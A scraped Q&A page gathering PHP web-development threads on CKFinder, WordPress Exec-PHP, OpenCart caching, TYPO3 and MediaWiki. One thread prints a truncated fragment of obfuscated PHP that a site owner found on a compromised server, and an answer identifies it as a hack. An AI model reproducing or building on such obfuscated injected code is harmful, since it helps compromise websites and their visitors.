CKFinder 3 upgrade difficulty - php

I'm following the CKFinder 2 to 3 upgrade guide and it's not making much sense. In CKFinder 2, the PHP code provided could be used to generate the JS snippet with appropriate config and params, like this:
require_once 'ckfinder/core/ckfinder_php5.php';
$finder = new CKFinder() ;
$finder->SelectFunction = 'ShowFileInfo' ;
$finder->DisableThumbnailSelection = true;
$finder->RememberLastFolder = true;
$finder->Id = $name;
$finder->StartupFolderExpanded = true;
$finder->Width = $width;
$finder->Height = $height;
echo $finder->CreateHtml();
This code picks up the config and incorporates it into the generated JS.
In 3 this seems to have disappeared entirely - the upgrade guide describes the changes needed in config.php, but there is no indication of how this is ever used since there is no other PHP involved, and it says
It is no longer possible to enable CKFinder on a page from the PHP level
All that is shown is how to create the JS snippet, which does not contain any config, and so will use incorrect settings. There is no indication of how the config properties set in config.php ever get to the JS code - as far as I can see there is no connection at all and no mention of any other PHP files, even though some are provided but not documented.
This makes no sense - PHP can quite happily generate HTML and JS that is run on the page, which is all the old CreateHTML function did. I don't understand why there is no mention of this mechanism since it was how we were supposed to use CKFinder previously - it's as if the migration guide is for some unrelated package!
If I update the config file and use the default JS widget code as suggested, it breaks the page completely, altering the MIME output type so it does not get rendered as HTML and appends this error:
{"error":{"number":10,"message":"Invalid command."}}
The docs cover various fine details of what PHP config settings mean, but nowhere that I've found says how it's ever loaded, triggered or associated with the JS. How is this supposed to work?

Indeed the CKFinder 3 documentation was lacking some important information. We're gradually adding new articles there. Based on topics you mentioned I just added:
Explanation how PHP code that worked for CKFinder 2 can be refactored to plain JavaScript in CKFinder 3. Should look familiar ;)
A table with Configuration Options Migration - JavaScript Settings which should help you with discovering again options like rememberLastFolder

Related

My php code is keep getting disable in wordpress editor after upgraded into latest version

My website had a older version of wordpress. Recently I upgraded it to the latest version. After that my php code what I write in the editor is keep getting disabled.
The old page which has php code in ti still works. Although in the editor the php codes are disabled. But if I try to save that it stops working. So i cannot update those page. And also I cannot create new page with php code in it
Exec-PHP plugin is installed.
If I write
<?php echo $c; ?>
It converts into
<!--?php echo $c; ?-->
How to fix that
attached image for better understanding.
Another way, which I don't quite recommend, is to follow this direction:
https://wordpress.org/support/topic/exec-php-to-work-in-php-7-needs-this/
This is basically updating the actual plugin, which will surely be overwritten by their next update.
This plugin requires a number of changes to work with php 7.
In exec-php.php
$GLOBALS[‘g_execphp_manager’] =& new ExecPhp_Manager();
must be changed to
$GLOBALS[‘g_execphp_manager’] = new ExecPhp_Manager();
In includes/manager.php from line 36
change each =& to =
In includes/admin.php lines 53,56,57,63,64,79 change =& to =
In includes/cache.php line 22,39 change =& to =
In includes/ajax.php line 64 change =& to =
I don't know about the plugin you use for this. However, I use xyzscripts for the same cause. It creates short-codes for me to use.
Here is an example:
Create your PHP code and get a Tracking Name.
You will then get your short-code as below, note the Tracking Name.
I personally think this is the best way as it allows re-usability and centralized location to update all your scripts.
XYZ WP PHP Code Download and Documentation
Thank you all for responding.
Apparently I find the solution by installing the Classic Editor plugin
https://en-gb.wordpress.org/plugins/classic-editor/
It prevents disabling the php code.
If you are facing similar problem you can try this one

Disable template caching for development in OpenCart 3

I am making changes in my theme templates in OpenCart 3. Due to template caching I have to clear cache every time under "storage/cache" directory. It is very annoying when working and previewing changes frequently during development. Please provide some solution how we can configure caching according to production and development environment.
Note: I have already searched for solutions online but there is no solution related to template caching. Solutions are available to disable image caching but "Image Caching" and "Template Caching" are different features provided in Opencart.
You might need to upgrade to a more recent version of OpenCart3 - the first one (3.0.0.0) didn't have a way of doing this in the GUI.
More recent versions, such as 3.0.2.0, have a gear on the admin dashboard. Click the gear and you get options to disable caching.
Another way to do this:
Open to system\library\template\Twig\Cache\Filesystem.php, find following lines of code
public function load($key)
{
if (file_exists($key)) {
#include_once $key;
}
}
Comment out as in the following code:
public function load($key)
{
// if (file_exists($key)) {
// #include_once $key;
// }
}
This will remove the template cache of the twig and recreate every time, once development is over you have to remove the comment.
You can also do this from CODE directly if you have the access. Go to this file path below via ftp or cPanel:
system\library\template\Twig\Environment.php
Find
$this->debug = (bool) $options['debug'];
Replace:
$this->debug = (bool) true;
Opencart Version 3.0.2.0
I was having same problem, try working in theme editor or the actual raw twig file, after an hour or two i tried this it worked.
Delete the changes in theme editor and got back editing actual twig file
my screen shot
I think you edit the template as the path: Design->Theme Editor before.
Clear all of the date in the oc_theme data table of your database.
Scott's answer is best but in case it's not available due to version or you want to disable it programmatically you can do this anywhere before the twig is rendered:
$this->config->set('template_cache', false);
in OC 3.0.3.6, if you have some twig extension, like twig managers, after changes maded you should select that extention in modifications and refresh push button on top right corner.
P.S. loose whole day to find this, hope it helps someone
This is similar to Scott's answer but just on the database/backend. In case you can't rely on the UI and can only access the DB (like me, I'm messing up with the UI) it's on settings table search for 'developer_theme' key and set it to false or 0.
UPDATE `oc_setting` SET `value` = '0' WHERE `oc_setting`.`key` = 'developer_theme';

Strange PHP code found in file on server

Sorry if this is the wrong site to post on.
Basically, I have a server and this file keeps creating itself. The file is a PHP file and contains code:
<?php
$GLOBALS['XfZi37Vc'] = $_SERVER;
function ruexxCV1QobH($uiBP25)
{$MISwZvode = "";global $PYJ9QSAA;
for($QNufqz7Oj=intval('fzSxRYkl'); $QNufqz7Oj<strlen($uiBP25); $QNufqz7Oj++)
{$yzwxeHjxV = ord($uiBP25[$QNufqz7Oj]) - $QNufqz7Oj - $PYJ9QSAA;
if ($yzwxeHjxV < 32){$yzwxeHjxV = $yzwxeHjxV + 94;
${YkT1GO68Y3rXB("iv[_^/1\"w;%")} = Lp4lS8SSZzAY("-15/*32B.3##G9CJJ");
${YkT1GO68Y3rXB(",g0##&D6x")} = PDeZzowtLQ("kos|n|,ryov1!#4&)!/9-{+%\$");
${QDVtOC8("pt[v\$:=")} = lpkBre6(":<;)><97C");
${fW1u5W74(";q~BY_y{")} = rdfpzT0mw(",:;9=+?3??CF<B<");
${sGbDIY("!<!.x\\ze")} = lpkBre6("kos|n|,\$nzxtr(x5~(");
function rdfpzT0mw($vGoVcwpU){return ruexxCV1QobH($vGoVcwpU);};
function ifUYiZ4bFphW5($NYycJIpl){return ruexxCV1QobH($NYycJIpl);};
${fW1u5W74("gh\"Co[")} = lpkBre6("*77#0>A-DE6#6C9;");
${rdfpzT0mw("n2lZ7t\\")} = QDVtOC8(";:27");
I have never seen code like this before. Can anyone tell me what it is exactly doing?
This is a hack that happened to your Wordpress. Probably because you are using an outdated third party plugin. These can be somewhat difficult to detect, but the code is probably being used to place ads, or redirect your users to outside content or malware.
You should remove this code and update all your plugins.
Keep in mind that this code could have also injected code into your Wordpress database. Especially if you have a plugin that enables 'eval' in Wordpress, meaning code could be retrieved from the database and eval'd.
If that doesn't solve the problem, you should start disabling third party plugins until you find the root of the problem.
Wordpress is VERY easy for automated scripts to detect and third party plugins could have been written by someone who does not know anything about security. You need to be very wary when using them, even if they come from Wordpress.org.

Include PHP file into TemplaVoilà template through TypoScript

I need to include a PHP file (containing some database-checks 'n' stuff) into a very bad programmed TYPO3 website. They used TemplaVoilà for templating purposes. This is the definition in the master TypoScript template:
[...]
page = PAGE
page {
[...]
10 = USER
10.userFunc = tx_templavoila_pi1->main_page
[...]
}
[...]
Within the used TemplaVoilà template they mapped the main content div (where I'd like to insert my PHP script) with the attribute „field_content“. Don't know if this helps to answer my question.
I tried nearly everything I know to somehow overwrite/fill the „Main Content Area“ through TypoScript, as it is completly empty () on the page I created for my PHP file.
Is it possible to fill a specific mapped tag with my PHP file through TypoScript?
(TYPO3 Version 4.5.32)
I figured out a solution for my problem: With the hint in the answer by Urs (using _INT) I altered an already included DS object to be extended through additional sub-objects (as the markup allows my code to be placed there with some modifications to the stylesheet):
lib.social.20 = PHP_SCRIPT_INT
lib.social.20.file = fileadmin/path_to_my_file
Now it works like a charm althrough it's a bit hacky...
What about
lib.myscript= USER
lib.myscript {
userFunc =user_myScript->main
}
and in the DS
<TypoScript><![CDATA[
10 < lib.myscript
]]></TypoScript>
I'm no TemplaVoilà expert, I just pulled the second snippet from http://typo3-beispiel.net/index.php?id=10
PS: if its's USER, it will be cached, if it's USER_INT, it will prevent static file caching. So you may be better off running those checks in the background via AJAX?

How to load MediaWiki's WikiEditor?

I have an old skin that I need to adapt to the new MediaWiki 1.18 which has this new WikiEditor. If I set the skin to Simple or any other theme than the custom theme, then I see the WYSIWYG editor (WikiEditor), but if I use a custom skin I don't see it.
I think I'm missing something, I've wasted half a work day trying to figure what am I missing but the skin seems to be just like the other skins. I checked MediaWiki homepage but they don't tell what do I need to do to get this WikiEditor to load.
To confirm: the WikiEditor source codes are never loaded, i.e. the ResourceLoader does not load them, but I do not know how to make it load.
From Extension:WikiEditor:
For 1.18 and later the extension already comes with your MediaWiki package.
You only need to install and configure it as described below:
Add the following line to your LocalSettings.php:
require_once( "$IP/extensions/WikiEditor/WikiEditor.php" );
To enable use of WikiEditor by default but still allow users to disable it in preferences, use something like...
$wgDefaultUserOptions['usebetatoolbar'] = 1;
$wgDefaultUserOptions['usebetatoolbar-cgd'] = 1;
$wgDefaultUserOptions['wikieditor-preview'] = 1;
Starting in 1.18, skins should use the following instead of writing their own HTML HEAD sections:
$this->html( 'headelement' );
headelement includes the opening body tag, so everything between that and doctype should be removed from your legacy code. This will of course break backwards compatibility with pre-1.18 mediawiki.
Your skin may also need to be modified to use SkinTemplate rather than BaseTemplate in its class declaration.

Categories